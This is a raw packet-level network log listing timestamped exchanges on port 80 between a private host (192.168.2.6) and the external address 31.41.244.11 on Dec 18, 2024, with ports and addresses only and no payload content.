Dec 18, 2024 11:47:47.568487883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.568536043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.568567991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.569789886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.569832087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.569901943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.569941998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.571033001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.571074963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.571152925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.571192026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.572216988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.572230101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.572318077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.573257923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.573301077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.573326111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.573362112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.574275970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.574320078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.574345112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.574385881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.575270891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.575304031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.575350046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.575426102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.576508999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.576554060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.576642036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.576687098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.577585936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.577620029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.577629089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.577655077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.578802109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.578844070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.578911066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.578944921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.579911947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.579946995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.579971075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.580003023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.581109047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.581160069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.581201077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.581238031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.711755037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.711811066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.711817026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.711853981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.712316990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.712361097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.712398052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.712431908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.713424921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.713464975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.713536978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.713577032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.714553118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.714593887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.714983940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.715024948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.715049982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.715089083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.716470003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.716484070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.716514111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.717645884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.717658997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.717690945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.719012976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.719054937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.719125986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.719166040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.720083952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.720104933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.720124006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.720136881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.721020937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.721034050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.721065044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.722068071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.722109079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.722158909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.722198963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.723365068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.723407030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.723418951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.723452091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.724617958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.724658012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.724689007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.724724054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.725892067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.725903988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.725936890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.726860046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.726896048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.726969957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.727005005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.727919102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.727974892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.728105068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.728144884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.729496002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.729516983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.729537964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.729553938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.730298042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.730336905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.730359077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.730395079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.731635094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.731677055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.731750965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.731789112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.733170033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.733190060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.733231068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.733246088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.734292984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.734340906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.734519958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.734558105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.735457897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.735477924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.735496998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.735513926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.736684084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.736696005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.736725092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.736737013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.738056898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.738069057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.738116980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.739075899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.739089012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.739120960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.740144014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.740156889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.740190029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.741374969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.741391897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.741420031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.742269039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.742285967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.742315054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.742347956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.743213892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.743271112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.743339062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.743381023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.744659901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.744678020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.744730949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.745512009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.745523930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.745565891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.745599031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.746522903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.746570110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.746599913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.746634007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.747981071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.748001099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.748032093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.748044014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.749089956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.749140024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.749152899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.749174118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.750144958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.750195026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.750207901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.750247955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.751219988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.751257896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.751274109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.751307964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.752470970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.752520084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.752526999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.752558947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.753627062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.753674030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.753732920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.753777027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.754771948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.754785061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.754823923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.754844904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.755892992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.755942106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.755954027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.755984068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.757082939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.757100105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.757138968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.757155895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.758187056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.758233070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.758333921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.758372068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.759850025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.759862900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.759887934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.759903908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.760926008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.760937929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.760972023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.761786938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.761826038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.761877060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.761913061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.762947083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.762959003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.762995005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.763008118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.764111042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.764159918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.764161110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.764307022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.765285969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.765305042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.765326977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.765348911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.766438007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.766478062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.766532898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.766568899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.767652988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.767669916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.767695904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.767714024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.768810987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.768821955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.768865108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.769959927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.770009995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.770047903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.770087004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.771214008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.771225929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.771260023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.771280050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.772237062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.772284031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.772303104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.772336006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.902991056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.903006077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.903099060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.903646946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.903659105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.903686047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.903716087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.904604912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.904617071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.904690027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.906038046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.906081915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.906332970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.906374931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.906570911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.906620026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.907594919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.907615900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.907634974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.907649040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.908682108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.908694983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.908726931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.909792900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.909832001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.909909964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.909948111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.911382914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.911402941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.911427021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.911443949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.912265062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.912300110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.912333965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.912372112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.913518906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.913543940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.913558960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.913574934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.914760113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.914774895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.914797068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.914814949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.915880919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.915920973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.915930033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.915961027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.917119980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.917133093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.917166948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.917188883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.918066978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.918098927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.918111086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.918131113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.919228077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.919270992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.919290066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.919329882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.920442104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.920490026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.920557976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.920597076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.921690941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.921704054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.921734095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.921755075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.922817945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.922863007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.922903061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.922944069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.923911095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.923955917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.924006939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.924047947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.925375938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.925390959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.925424099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.925440073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.926168919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.926181078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.926215887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.926237106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.927354097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.927369118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.927402973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.927418947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.928472042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.928484917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.928515911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.928531885 CET	49878	80	192.168.2.6	31.41.244.11
